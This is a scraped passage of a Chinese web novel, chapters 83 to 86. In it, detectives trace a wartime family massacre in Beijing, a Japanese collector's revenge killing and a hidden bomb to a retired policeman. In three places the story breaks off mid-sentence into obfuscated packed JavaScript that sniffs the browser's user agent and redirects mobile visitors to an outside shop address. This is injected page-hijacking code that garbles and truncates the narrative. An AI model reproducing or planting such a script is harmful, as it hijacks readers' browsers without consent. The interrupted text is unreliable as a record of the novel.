顾昭蕙也是一脸严肃“一家五十三口人，老人孩子，家里的仆从连家里一条老狗都没放过。”说道这里她点了点死亡人数那里，“如果算上狗的话，正好五十四条命。跟小池澈平身上的刀口数量很契合。而且这家做的生意正是古董行，据说当时家里宝库被搜刮一空，其中有一件还是乾隆玉玺。从宫里跑出来的公公偷偷带出来的。也不见了。” 齐云松将卷宗翻看结束，“死亡时间就是小池澈平死亡前一个月，案子虽然记录了，但是上面没有任何破获的记录。看起来只是记录案子。” 顾昭蕙将两份案卷放在一起，“你看这上边字迹是不是一样的。” 一对比果然是一样的“那个郑可庆。” 83. 第 83 章 第八十三章 “是的这两个案子我都参与的。”郑可庆已经快七十了。或许印象深刻，看到两个案子的卷宗后，一下子就想了起来。 “郑老能说说情况吗？”齐云松问道。 郑可庆将老花镜拿下来，闭了闭眼睛回忆道“三九年十二月初，一早上我还没出门警局就来人找我，等我去了案发现场，才知道博雅斋老板一家全都被杀了。整整五十三口人。” 他睁开眼睛似乎回忆那天的情况，“博雅斋老板叫丰裕祥，他们家祖上就开始做古董生意，那时候世道乱，尤其清末皇帝都跑了，宫里的很多东西都流传出来，虽说有话说乱世的黄金盛世的古董，但是那时候京城古董行正是红火的时候，大量的古董出现。越乱各种古董越多。” “博雅斋是老字号，他们手上有不少好东西，在出事前七月份的时候博雅斋也是为了跟人竞争，将那个玉玺拿出来展示过，所以大家都知道，所以一出事，我们就先让他们家掌柜的确定东西还在不在，果然是不在的，不但如此他们家地下宝库直接让人洗劫一空。” 郑可庆眉头皱了一下，“丰裕祥妻子去世后，他又娶了六房姨太太，当时在京中有五房，连小妾儿女还有孙子孙女总共二十七口，全都死了，丰裕祥和几个年长的儿子还被拷问过，其中他大孙子也被切掉了耳朵和手，应该是做给丰裕祥看的。这些照片里都有。” 顾昭蕙点点头，当年现场调查做的很详细，其中照片就有上百张。 “我当时刚将现场看完，尸体收敛还没结束，伪政府那边就来人了，他们接手了案子。跟他们一起过来的还有当时的小本子宪兵队。” 顾昭蕙皱了一下眉头“我看这些照片，这些人全都是被刀砍伤刺伤的。您觉着是武士刀造成的吗？”因为照片不是特别清晰，另外就是照片没有刀口细节，所以顾昭蕙不能确定，但是有几道比较明显的刀口，能看出来是劈砍造成的。 郑可庆点点头“可以确定，当时我看到伤口的时候就确定了，这个案子就是小本子人做的，当时照相的是我手下一个信任的人，看到宪兵队过来，我就让他偷偷回去，将照片赶紧洗出来，当时洗了两份，这是一份，另外一份连着底片都被宪兵队带走了。” “这档案也是我偷偷记录的。”郑可庆说到这里，笑着看着两个人，“真么想到这么多年这个案子还被翻出来。” 顾昭蕙点点头，“我们也是从另一个案子那里查出来的，如果能查清楚，或许也是一桩罪证。” 郑可庆想了想说“当年我虽然不能再参与这个案子，但是我背地里调查了一下。”他点了点顾昭蕙带来的关于小池澈平死亡调查卷宗“这个人有很大嫌疑，当时博雅斋掌柜的给我一份清单，是他见过的比较贵重的古董，这些古董应该在丰宅宝库里。后来十月份，我见到了其中一件物品，北宋定窰划花八棱大盌，当时出现在一个商界聚会，是由小池澈平带来送给从小本子国内来的一个专家。我当时正在那边负责外围安全，听一个同事说的，后来我问了几个人，果然就是丰家丢的那个。” 郑可庆说到这里神色带着一股说不出来的愤恨，“那些年这种案子很多，这个案子也是涉及人口太多，才会有记录，有的人直接不明不白的就不见了。” 顾昭蕙点点头，她在档案室的时候看过许多无头案，那些案子不是不能破，或许因为杀人者权势太大，最终被压下来了。 “后来就是元旦小池澈平被杀案。那个案子开始我看了就觉着奇怪，他身上被刺了整整五十四刀，我看到了之后就觉着这是在报仇，因为他之前的每一刀都刺在无关紧要的位置。直到最后一刀抹了脖子。我回到警局就想到之前丰家的案子，不过人数与刀口对不上，但是后来突然想到，他们内院三姨太养的一只哈巴狗也被杀了。要是算上这条狗命，就是五十四了。” “小池澈平又是丰家案的嫌疑人，不能不让我怀疑，丰家七房儿子，丰庭致是丰裕祥的小儿子，当时他在丑国留学。他母亲在他十七岁的时候生病去世了，他十八岁就出国了，我当时就怀疑是他回来报仇的。但想想，杀一个作恶多端的小本子，还是血海深仇，有错吗？我不想给那帮小本子当抢手，所以这些事情我就隐瞒了，没有报上去。当然我也没见到丰庭致，一切都是我的猜测。” 顾昭蕙点点头，“那当年丰家的案子，如果是小池澈平做的，会不会还有帮凶？” 郑可庆点点头“肯定有，他身边养着几个武士，那个案子肯定不是一两个人能做的，至少十几个人才能控制丰家的院子，让里边的人一个也逃不出来。” 顾昭蕙将林槐的照片拿出来，“您认识这个人吗？当初调查的时候见过这个人吗？” 郑可庆带上老花镜，拿起照片，仔细辨认了一下，过了一会带着点疑惑“有点面熟，不过想不起来了。他叫什么？” “林槐。” 郑可庆听到这个名字，眼睛突然一闪看向顾昭蕙“叫林槐？” 顾昭蕙点头“就叫林槐。当年在伪政府财务科当科长。” 郑可庆仔细看着照片再次辨认，然后点点头“是他，没错，我记起来了，虽然有些变样了，但是知道是他了，就能认出来了。这个林槐，当年就是跟案件有些关系的，当时调查的时候发现这个人跟小池澈平关系很好，两个人有私交，甚至小池澈平的弟弟小池仁二还是他的后台。我也跟他有过交谈，但是他没说出什么有用的线索，这个林槐当年很年轻，才二十多岁，但是我发现他好像有点心神不宁。” 顾昭蕙点点头，果然跟他们猜测的一样，小池澈平跟林槐的关系很好。 “这个林槐可能参与了当年的灭门案，他害怕报复，所以才会匆匆的离职，他嘴上说着好听不想给小本子办事不想当汉奸，实际上他就是最大的汉奸。”齐云松有点气愤地说。 顾昭蕙点头“那么说他这次杀人，会不会是被人威胁，不然他都隐藏了这么长时间了，家庭--”顾昭蕙突然停下脚步。 齐云松走两步发现人没有跟上来，就回头看她“怎么了？” “你记不记得林槐家里情况？”顾昭蕙问道。 齐云松点点头“记得，他家里很普通啊。” 顾昭蕙在脑海里回想了一下家里的情况“他家里是很普通，但是我记得他和他妻子两个人都是林业局的，因为当年在伪政府工作，他现在的工作是最基层人员，工资二十三元五，他妻子是临时工十七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这样还是得审问一下，他恐怕不会想到咱们能查到当年的事情。”事实上四九年前的案子很多都不会被翻起来，但是像灭门案，还是带着小本子去杀本国人，这样大的案子绝对不会姑息，只要翻出来别说过了二十年，就是过了几十年也是要处置的。 林槐被抓后，怎么审讯都没有招认，也没有说为什么去杀人，无论用什么办法都没有让他开口。 不过当顾昭蕙他们将调查出来的东西放到他面前，甚至将当年灭门案跟他联系在一起之后，林槐彻底绝望了，要知道这根杀了一个人是不一样的，虽然一样的吃木仓子，但是如果顶着一个汉奸的头衔，不但是他连带他的家人都会被钉在耻辱柱上，这也是他一直没开口的原因，他就怕真的抓到幕后之人，将他的一切过往都说出来。 此时他又恨起了那幕后之人，如果不是他，自己还能安稳的过自己的小日子。 所以林槐崩溃后，将事情的经过全都说了。 在他的供述中，并没有幕后之人的名字样貌，他只是收到一张纸条，那上面说了他当年做的事情，然后威胁他如果不做，就会将他的事情捅出去，让他身败名裂。 林槐没有犹豫多久，他就决定做了，当年虽然在伪政府做着财务科的文职工作，但是跟着小池澈平是做了不少伤天害理的事情，而且当年灭门案他是真实的参加过，手上早就沾了血，所以杀一个掮客不是什么难事情。尤其对方没有防备的时候。 行动之前他也做好了准备，杀了人就去换了衣服，然后骑车离开，只是他没想到刚走出没多久，就看到几个穿着公安制服的人进入胡同，他也是想知道这几个人是做什么的，好奇心驱使骑车回去看一眼，就被抓了。这几天他一直懊悔，或许直接离开就不会被抓到了。 在林槐家里的一本书里，找到了那张纸条，这人想着一定要除掉幕后之人，所以将这个纸条留下来了。 84. 第 84 章 第八十四章 顾昭蕙看着那张纸条，也不能说是纸条，是半张纸，上面是用报纸上的字贴出来的。 “这个报纸应该是首都日报。”齐云松已经对比半天了。看色泽铅字大小，与首都日报最相似。 “根据这个查不出什么东西，获得太容易了。”顾昭蕙看了看那张纸。 齐云松将这张纸放到档案袋里，“我让人看看，能不能分析纸张类型。希望能查到一些线索。” 顾昭蕙觉着还是得从当年事情发生时查起，按照方槐的说法，当年他们做这个事情的时候是很隐秘的，因为当时丰家在股东圈子里是很有影响力的，因为北平的特殊性，小本子也不能在城里肆无忌惮，那样会引起北平各界反弹，还会让小本子在国际上的名声受到影响。 所以当时方槐确定了玉玺的存在，就告诉了小池澈平，小池澈平也只是带了他手下的武士一起去的丰宅，他自己也回忆不出还有谁知道这件事情。 “方槐后台是小池仁二，小池澈平是他和小池仁二之间的联系，所以他一直跟小池澈平保持好友的关系，那个小池澈平是个商人很喜欢钱财，所以方槐一直投其所好，他就是靠这种办法上位，不过也是因为如此他对身边的人防的很厉害。所以从那边暴露的可能性不大。”顾昭蕙将方槐口供一遍遍的过，还是没有从其中发现问题，这个方槐是个很谨慎的人，所以关于这件事情他谁都没有透漏，办事的都是小本子人，暴露可能也不大。 齐云松突然想到了什么“那郑可庆那边呢？他参与了案件调查，虽然很快就被叫停，但是他的怀疑是不是有人知道呢，而且小池澈平的死，如果说是丰家人报复，那么丰家人是怎么知道的呢？” 顾昭蕙一拍手“你说的对。还有郑可庆这条线呢。不行咱们还得去问问。” 郑可庆将老花镜摘下来，揉了揉鼻梁，然后走到书桌旁边，在最下层的抽屉里拿出一本相册，回到沙发位置，将相册打开，相册第一页就是郑可庆穿着一身旧社会警服的单人照，然后后面就是集体照，一张张，翻到第四页，“我们那个时候差不多一年照一张照片，这个是四零年照的，能接触到那个案子的人就在这里。” “这是当时警局人员的照片。”他小心的将照片拿出来。 “这里边的人如今都不在了。”郑可庆说着将照片平铺在茶几上，指给顾昭蕙看。 “这几个在四三年的时候被炸死了。”他先点着几个人，然后又说“这几个在之后执行任务的时候死了。” 郑可庆点出几人后又仔细看了看，“这几个当时投靠了小本子，在四五年后被抓了都吃了枪子。”这样排除下去，竟然没剩下几个人了。 “这两个人是四七年四八年因为什么案子没的，我有点记不清楚了。”郑可庆说着摇了摇头，“哎，那些年死人太多了，警局几乎每隔一段时间就要死一个。” 他说着话，看着上边的照片，突然手指着两个说道“这两个人姚振民和王九根，当时是我的手下，灭门案调查的时候也是他们一起去的，另外这个姚振民，就是当初负责照相的人。”他说完仔细看了看剩下的人，“要说值得怀疑的对象就他们两个。” 顾昭蕙点点头，“能仔细说说这两个人吗？还有他们现在在哪里，您知道吗？” 郑可庆慢慢回忆，人老了记忆力也差了许多“姚振民当时三十岁，人很稳重，办事可靠，我一直带在身边，不过因为是从别的地方调过来的，所以不算我徒弟。他在当时的环境下也算是比较正直的。四九年后，很多旧社会警察因为各种问题被开除，他当时留下来了，不过好像调到机械厂当保卫科科长了。我在四九年前就退休不做了，所以对这个事情也不是特别清楚。” “王九根，怎么说呢，这人身上小毛病不少，但是他对我还算支持，三教九流交往特别多，打探消息是一把好手，不过他这人家里三代单传，家里生了八个闺女才有他这么一个男孩，家里娇惯得很，后来还娶了好几个姨太太，四八年的时候就因为这个上边给他开除了，不过也是他臭嘴不会说话得罪了领导，人家找个借口，那时候这样的事多了。” 郑可庆说到这摇了摇头“他具体的我也不清楚，他家里开杂货铺子的，本来条件就不算差，当时当个警察也是为了家里不被欺负，那个年代开铺子没个靠山，根本干不长。我很久没有他的消息了，他家在鼓楼大街那边，现在还在不在我就不清楚了。” “先去查查王九根。”从郑可庆那里出来，齐云松说道。 顾昭蕙看了看天色，已经黑下来了，“明天吧，一早先去街道了解一下情况，这么晚了街道那边也都下班了。” 齐云松点点头，他没注意到时间，“姚振民，那里得小心些。” 顾昭蕙点点头，她也是有点怀疑的。 齐云松跟着顾昭蕙回到蒋家，已经过了吃饭点了，不过家里田静兰给留了饭，她也不管他们过来不过来吃，每天做饭都会带出来，大不了第二天做早餐，总不会剩下。 看到他俩回来，田静兰走进厨房，“我就说松子今天要跟着回来，今天蒸了荞麦大饺子，酸菜馅的。等会我做个汤。家里西红柿酱没剩几瓶了，天热了，赶紧吃了。要不该坏了。”然后又絮絮叨叨的说了一堆乱七八糟的事，有单位的有家里的，还念叨了蒋爸今天又做了啥惹人烦的事。念念叨叨的说了一大堆。也不知道是不是更年期到了，最近特别能唠叨。 俩人也乐呵呵的听着，一个是未来灵魂融合的，一个是从小没爹没娘的，对于这种念叨没有不耐烦，反而有种特别温馨的感觉。 酸菜馅的大饺子特别好吃，荞麦面配着白面，发酵后，再做成饺子形状，主要是这种面没有韧劲，包包子会裂开，酸菜馅里加了粉条弄了点猪肉，里边应该还有油渣，味道特别香，成人巴掌大，顾昭蕙也就吃两个。 齐云松吃了饭也没走，已经有一阵子了，过完年后，他有时候就在这边留宿，蒋家大哥这一去南方估计十年八年都不能回来，所以走之前就已经将房屋收拾好了，他们自己的东西都放在卧室，另外一间就做家里的客房，是想着大姐一家回来有个住的地方，结果便宜了齐云松。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368663|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二天一早两人直接去了鼓楼那边还给单位打了电话，找了人过去一起调查。 王九根还是很好找的，他没换地方，家里确实开着杂货铺子，听街道介绍，这王九根家里一直闹哄哄的，他当初娶了六个姨太太，多数是他爹娘从街上给他买来的。 当初他媳妇跟他结婚后，生了三个闺女，王九根家里就开始给他娶小老婆，最后弄了六个姨太太，他家里的杂货铺子不是很大，但是当时因为王九根的关系，没有谁欺压，日子过得也还不错，只是后来这几个姨太太都生了孩子，男孩女孩的，生了七八个，等王九根被开除后，日子就不好过了。 四九年后咱们的婚姻制度是一夫一妻制，那几个姨太太就都不能留了，但是这几个除了他大老婆，其它的都是买来的，要是真把人给撵走了，人也活不下去了，后来有三个直接嫁人了，剩下四个人就那么不明不白的住着。这两年街道和妇联给他们做工作还给她们找工作，将剩下的三个安排了，不过那些孩子都留下了。大的小的一窝，日子也过得鸡飞狗跳的。 说实话听到这样介绍，顾昭蕙都觉着这个王九根应该没啥问题，她觉着不会有啥特务会养那么多孩子。 跟着街道办事员来到王九根家里，早上还没去店里呢，顾昭蕙和齐云松进了院子，王九根家里还是有点家底，院子是那种独门独院，举架很高的大瓦房。 一进院子就看到晾衣绳上一排衣服。一个大着肚子的女人正晾着衣服。 “这是他家大闺女，前段时间跟婆家吵架了，回来一阵子了。”办事员小刘说道。 女人两完衣服，看到他们几个用围裙擦了擦手“几位同志你们有事吗？” “你好，我们是公安局的，这是我们的证件，我们找王九根有些事情。他在家吗？”齐云松将自己的证件拿出来。 这女人二十五六岁，听说他们是公安的有点紧张，“在的，爸，爸，有人找。”她回过头喊道。 “谁呀，大清早的。”一个有点沙哑的声音响起。接着从正房走出来一个五十多岁特别干瘦的男人。 那男人看到他们愣了一下，但还是很快冷静下来“几位是？” 齐云松再次介绍一下。 一听他们是公安局的，王九根虽然有点紧张，但是很快冷静下来，“啊，是几位公安同志，不知道找我有什么事情？”他虽然有点疑惑但是并不心虚。 “我们想问你一些以前的案子。” 王九根点点头“那进屋说吧。”王九根说着将几个人往屋子里请。 院子里有东西厢房，这会厢房都开着，听见动静都出来看着，东厢房住的应该是他大儿子，之前听过介绍，都已经结婚了。西厢住着几个孩子。 进了正房，堂屋放着圆桌，他们几个坐下，王九根还忙着给倒水。 “不知道几位同志想了解什么案子？我这已经离开警局好多年了，有些东西都不太记得了。” 这人还是有点滑头的，“我们想了解一下当年的灭门案。”他们想先问问当年关于这个案子的想法，然后再说其它。 85. 第 85 章 第八十五章 “那案子很明显就是小本子做的，那个叫小池澈平干的，不过那时候下本子猖狂，他们说不让查了就不查了呗。”王九根一听说是那时候的案子也不怕了，说起来滔滔不绝的。 “后来那个小池澈平也死了，我听我们头说，那个凶手应该是丰家的。”王九根说道。 “你说的是郑可庆？” “对。”王九根点点头，“当初案子是他带着我们办的。” “你们是指谁？ “姚振民。老姚，我们一直跟着头办案。” “对姚振民你了解吗？”顾昭蕙问。 王九根仰头笑了笑“怎么不了解，我二闺女嫁给他儿子，给他当了儿媳妇你说了解不了解。” 顾昭蕙一听跟齐云松对视一眼，这个是他们没想到的。 “老姚现在在机械厂保卫科科长，混的比我好。不过他挺够义气，人也局器，这些年没少帮我，我闺女嫁给他家，日子过得也好，不像老大。”王九根叹了口气，不过很快就恢复了。 顾昭蕙和齐云松又了解一下当时办案的事情，也没有太多的收获，与郑可庆说的也差不多。 等出了郑家，那边李想带着几个也将情况摸清楚了，这个王九根，怎么说呢，就是个普通的市民，虽然身上毛病一大堆，但是也没啥出格的事，街坊邻居对他印象还行，就是说在女人身上有些出格，不过他老婆大家都挺感兴趣的。 ‘你说他那几个孩子都不是她生的，到底都给养大了。王九根不着调，家里孩子都是她管着的，那是咱们胡同出了名的贤惠。’ 顾昭蕙看了看那些记录，没有看出什么问题，齐云松也是仔细的看了“看来这个王九根是没有问题的。” “去看看那个姚振民，姚振民的背景调查出来了吗？”顾昭蕙问。 吴非拿了几张资料，“这是刚才送来的。” 顾昭蕙接过来看了一下，这个姚振民，就是这年代比较常见的普通民众。四九年之后建立公安局，将旧警察都进行了挑选，很多都被清除出去，姚振民没有做过什么恶事，加上郑可庆的担保，姚振民留了下来。 不过姚振民不想留在公安局，就托关系进了机械厂当了保卫科的副科长，这几年过去，已经是科长了。 他婚姻也是正常的，妻子是十五年前娶的，在十六中当老师，两个人有三个孩子。 “那个案子我记得啊，当年可是很轰动的。”姚振民如今已经五十多岁了，人有些微胖，不过看起来很温和的，跟顾昭蕙他们看到的照片完全不同。 “那时候郑哥带我，一早上就接到报案，当时听说是个灭门案，等到了才知道那家多惨。五十三口人就那么死了。” “知道，当时郑哥怀疑是小池澈平和他手下的武士做的。”姚振民抽了口烟“不过，我们不能调查案子，小池澈平没多久就死了。” 说道这里姚振民眉头皱了一下“小池澈平的死，小本子调查不出来，就找郑哥，但是当时郑哥根本没有想破案，他说应该是丰家后人做的，人家也是为了自己报仇，我们要是抓的话，就助纣为虐了。所以事情就拖着，后来没多久发现小池澈平的宝库让人盗了，事情就转到寻找失物上去了，后来就不了了之了。” 顾昭蕙一直仔细观察着他，姚振民看着很是稳当，“那当时小池澈平被杀案，怀疑凶手是丰家人做的，那么有什么怀疑对象吗？” 姚振民摇了摇头“丰家人除了他们家小儿子在国外留学，国内没什么亲近的亲戚了，就是对他们家忠心的掌柜的，都在半个月后携款潜逃了，丰家那个唯一的小儿子，跟家里关系不好，所以年龄到了就出国了，那个年代交通不便，所以他一直没回来。所以说当年郑哥说是丰家人报仇，我是有点怀疑的，但是小本子吗，死就死了，杀了小本子还算是英雄呢。” “你对方槐有什么印象吗？”顾昭蕙问道。 姚振民摇了摇头，“方槐是做什么的？” 听到他这样说一直记录的齐云松抬起了头。 “他跟小池澈平关系很好，丰家的案子跟他也有些关系。”顾昭蕙说道。 姚振民回忆一下，摇了摇头“没有太多印象，跟小池澈平的人很多。当时案子我们其实没有更深入调查，灭门案，实际上我们刚勘察完现场就叫停了，至于小池澈平，郑哥不想给小本子做事，所以这案子也没深入调查。” 顾昭蕙皱着眉头，案子似乎有点奇怪。 “那当时关于丰家那笔丢失的东西，你们有调查清楚吗？” 姚振民摇了摇头“不清楚，当时就是怀疑小池澈平弄走了宝库里的东西。后边就不是很清楚了。” 离开姚家，顾昭蕙一路沉思，“我们可能弄错了。我记得周哥查到的丰家小儿子当时在丑国，那个年代交通不便，一个月后小池澈平死亡的时候他可能刚刚收到报信，所以杀害小池澈平的人不是丰家人。” “会不会是别人报复？”齐云松问。 顾昭蕙摇了摇头，“我觉着不是，丰家确实没人了。我们可能忽视一个问题，小池澈平的死或许不是有人报复，刺了那么多道伤口，会不会是为了逼供？” “你是说有人为了获得宝库的信息，所以杀了小池澈平。”齐云松问道。 顾昭蕙点点头，“回去问问方槐。” 方槐一直没有承认宝库里的东西是被他给弄走的，但是顾昭蕙怀疑东西就被他藏起来了，想到他现在住的地方，是当年从警局离开就买下来的，只是简单的三间房，一直住到现在，她就跟齐云松去了一次，还真的找到了一间地下室，地下室里果然有一些宝物，但是跟他们了解的小池澈平的宝库有点不符。 “我说过了那就是全部的东西，这么多年我也不敢动，我去的时候宝库里就那么些东西，我想肯定是小池澈平将东西转移了，他连武士都打发回小本子了，肯定也不会那么信任我，将东西转移也是正常的。”方槐一身颓废，自己想要隐藏的东西全都暴露在阳光下，他也是万般煎熬。 “是真的，小池澈平的尸体发现后我是第二批到的，当时看到他的样子，我都吓坏了，尤其是发现他被捅了那么多刀的情况下。我更害怕了，之后第二天我突然想到了他的仓库，那时候也不知道怎么的就过去了，发现那里没有人看守，就进去把东西给弄走了，不过也只有两箱子东西，拿了东西后，我想着也够我下半辈子用了，也是怕被报复，就干脆脱身出来。” 方槐说着揉了揉自己的脑袋“我开始就像藏着别让那个凶手发现我，谁知道没两年世道变了，我也不敢出头了。” “听说小池澈平当年死的时候楼下还有几个武士在，那么他们没有听到楼上有什么动静吗？”这个在档案里都没有，不过如果是报复的话，将人堵住嘴，也就叫不出来了，但是如果是逼供的话，下边不可能不听到动静。 “那几个武士当天被迷晕了，快到早上才醒过来的，然后发现小池澈平死了，他们也怕被人发现问题，就没有说，也是因为这个案子才会弄成破不了的案子，后来让郑可庆破这个案子，谁知道郑可庆也没有破获，好像过了小一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387874|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个月有一个武士喝酒喝多了才说出事实，之后我辞职了，也不知道到底案子结局怎么样。” “当时丰家死了多少人？”顾昭蕙问。 方槐抖索了一下，低着头，“五十三人。当时他们杀红眼了，本来开始说好的先悄悄进去，控制了丰家老爷得到玉玺就走。结果我们一进院子就被护卫发现，然后那些人就开了杀戒，小池澈平弄了带消音器的木仓，那些护卫根本抵抗不了，后来就用刀了，从外围杀到内院。” “为了确定丰家密室的位置，他们弄了孩子威胁，后来又全杀了。” “你也是其中的一个杀手吧。”顾昭蕙看着他说。 方槐动了动嘴唇，最终什么也没说出来。 顾昭蕙觉着这人肯定是参与那场屠杀了，就像他杀害林二河就能看出来他不是第一次杀人。 回到办公室顾昭蕙将档案又拿出来看了看，然后将档案放到桌子上，靠着椅子想了想说道“你发现一件奇怪的事情没有？” 齐云松拿了水壶给顾昭蕙水杯添了点热水“什么事情？” “王九根和姚振民，对于丰家案的了解和郑可庆是不一样的？” “哪一点？”齐云松皱着眉头想了想突然眼前一亮“是人数？” 顾昭蕙点点头“他们两个说受害人的时候说的都是五十三人。可是郑可庆不管是现在说的还是以前档案里记录都强调了五十四这个数字。” 齐云松惊得从椅子上跳了起来“小池澈平身上的刀口也是五十四道伤口。” “其实除非是狗的真正主人或是对狗有感情的人，一般人是不会将狗算在受害者的。” “对外说起丰家灭门案，也是算五十三口人，杀害小池澈平的人，一方面知道宝库的事情，一方面又将小狗算在了受害者之列，这样做的人，只有一个人。”顾昭蕙眼睛亮晶晶的看着齐云松。 齐云松深吸一口“郑可庆。” 这个名字一出口，两个人都沉默了。想着那个快七十岁的老人，实在想不出来他会做这样的事情。 “等等咱们捋一下，咱们查当年的案子，是为了炸弹买卖案子，如果是郑可庆，那他怎么参与这件事情？”齐云松说着走到前面在黑板上写上了炸药两个字。 “咱们查到这东西在黑市出现，我们查到了炸药的卖家，然后查到林二河，林二河被杀牵扯出方槐，而方槐是被人指使做下的杀人案。”齐云松将这些都弄清楚后，又在下面写下了下了灭门案和小池澈平被杀案。 “方槐与这两个案子有关系。现在可以确定凶手就是利用灭门案来指使方槐。而知道方槐跟这个案子有关系的人很少，我们查到三个人郑可庆和王九根姚振民，他们三个是知情者。” 齐云松将其中郑可庆画出来，“假设他是指使方槐的人，那么他和炸弹买家有什么关系。” 顾昭蕙站在黑板前面也沉思着，是的，他们实际上是为了查炸弹买家才查到这些东西的。实际上怀疑郑可庆也是没有证据的。 其实他唯一的问题就是将那条狗和灭门案放在一起说。 那条狗是三姨太的哈巴狗，而三姨太有两个儿子，当年也是结婚了，都在丰家大院住着，那天晚上也是被杀了，所以就算有人报仇，也不会将狗算在内的。 越想越觉着郑可庆有点可疑，因为他将两个案子联系在一起其中一条就是刀口与当天死的人相同，除了那条狗算在内。这个是档案中记录的。 可是如果郑可庆是凶手他又为什么将这个案子记录下来，直接将档案销毁不行吗？ 86. 第 86 章 第八十六章 “郑可庆你被捕了。”顾昭蕙看着郑可庆坐在院子门口的凳子上，看见他们过来似乎没有多少意外。 郑可庆看着顾昭蕙笑了笑，“没想到你们的动作这么快，真是新时代了，没想到公安的侦破手段这么强。”郑可庆说着将手中的报纸放桌子上，然后摘下眼镜，站起了身。 双手伸出去，“走吧。” 齐云松从兜里将手铐拿出来，给他拷了上去。 “没有发现炸弹。”齐云松说道。 顾昭蕙也皱着眉头，“刚才周哥那边来电话，郑可庆承认了炸药是他买的，方槐也是他指使的，但是他对炸药在什么地方绝不吐口。” 她有些着急的转了转圈，离他们怀疑郑可庆已经过去四天了，这四天他们一直在寻找当年跟郑可庆有关系的人，然后将郑可庆当年的事情弄清楚。 事情总是没有那么容易，就像郑可庆之前说的，他的安歇同事不是死了，就是离开京城了，快二十年前的事情还真没谁知道。 不过功夫不负有心人，在如同撒网一样的寻找下，终于找到了两个知情人。这两人倒是当年跟郑可庆一起工作的，不过两个人跟郑可庆算是对手，当年因为做了一些事情，在四九年后被清算，最后虽然没挨枪子，但是也去农场劳改，也幸亏如此才将他们给找出来。 从他们那里倒是听说郑可庆的一些事情，也是从他们那里知道郑可庆竟然跟丰家那个姨太太有染。甚至丰家的那两个孩子可能也是郑可庆的儿子。 听到这个消息的时候，顾昭蕙都惊呆了。 早些年的时候郑可庆家里穷，二十多岁进了警局才开始有了起色，那时候遇到了一个女学生，一个穷小子一个女学生，两个人倒是有些真感情，可惜那女学生家里因为女孩长得漂亮，早就想给闺女卖个好价钱。 所以俩人感情就不了了之，那女学生就当了丰家的三姨太。 后来过了三四年，郑可庆在警局开始崭露头角，又遇到了那位女学生虽然物是人非，俩人感情还是有的。 这个郑可庆是个聪明人，所以这种事情一直没有露馅，也是这人跟郑可庆有仇，找他麻烦很久才觉察出来，但是这种事情肯定要抓奸在床才好，不过那人已经发现了丰家那俩孩子长相多少跟郑可庆有关系。 这人其实将事情已经查的差不多了，只不过没等他做什么丰家就死了，而且那人说了，这个郑可庆喜欢狗，还买过一只哈巴狗，至于是不是三姨太那条狗，他就不清楚了。但是顾昭蕙想着应该是的。 “这个郑可庆，连杀害小池澈平，拿了小池澈平仓库里的宝贝，包括玉玺，这样的事情都说清楚了，但是他就不说炸弹在那里，你不觉着这其中有些什么吗。” 齐云松也揉了揉脑袋，然后也十分头疼的说“是这样没错，肯定是有目的的。” 顾昭蕙总觉着这其中有些什么事情，突然她想到“当年丰家的家业很大的，但是在京城不算最富的，当年跟他们一样的古董商人也有很多，那么为什么会选择他们？” 齐云松恍然“你是说丰家灭门案，还有凶手？” 他们两个又去提审了方槐，“方槐，当年你们为什么选择丰家？” 方槐愣了愣，不明白他们为什么这么问“当年听说丰家有玉玺，小池澈平想要那个玉玺所以我们才会选择丰家。” “在这其中没有人引导你们吗？” 方槐听他这样一说，突然想起什么“还真有这个事情，当初我办公桌上突然出现一个信封，信封里有一张照片，照片就是那张玉玺。也是因为这个我们才会盯上丰家。” “那你觉得那张照片是谁给你的？” “应该是王福。我怀疑是王福，那个王福就是当年将玉玺卖给丰家的，当时丰家就给他们一百大洋，他一直对这件事情耿耿于怀，他后来去丰家闹过，不过他一个太监，怎么能弄过丰家。那段日子他挺落魄的。” 顾昭蕙眉头皱着，“你知道这个王福现在在哪里吗？” “死了，就在丰家死了之后没多久就死了。” 线索又断了，方槐那里也没有太多线索。 “你说还有谁跟这个案子有关系？”齐云松已经想不起来了。 “那个丰庭致在那里？”顾昭蕙突然想到了一个几乎没有存在感的人。 “丰庭致？丰家的小儿子？”齐云松想了想“在丑国没有回来吧。”至少在他们之前的了解中，丰庭致当初回来给家里人下葬后，就将国内的一些家业处理了，然后就出国了。 “我去查查。”齐云松说完就离开了。 齐云松刚离开没多久，李想就风风火火的跑了过来，“组长，我查到了，郑可庆最近去了几次科技院。他跟那边的看门大爷关系不错，但是最近俩人经常一起喝酒。” “科技院？”郑可庆跟科技院又有什么关系？ “查到了，丰庭致，今天回国。”齐云松满头大汗一边说一边看着手表，“要是没弄错的话，他现在已经到了机场了。” “怎么会这么巧？”顾昭蕙腾的一下子站了起来。 “丰庭致是学成归国，听说为了让他回国，科技院这边用了不少手段。” “科技院？”顾昭蕙起身就往外走，“快走，去截人，丰庭致有危险。” 齐云松跟着往出走，办公室里其他人也拿了武器出门。 “虽然不知道缘由是什么，但是丰庭致回来的时间，还有郑可庆准备炸弹的时间太接近了，更何况之前郑可庆确实接近了科技院。” 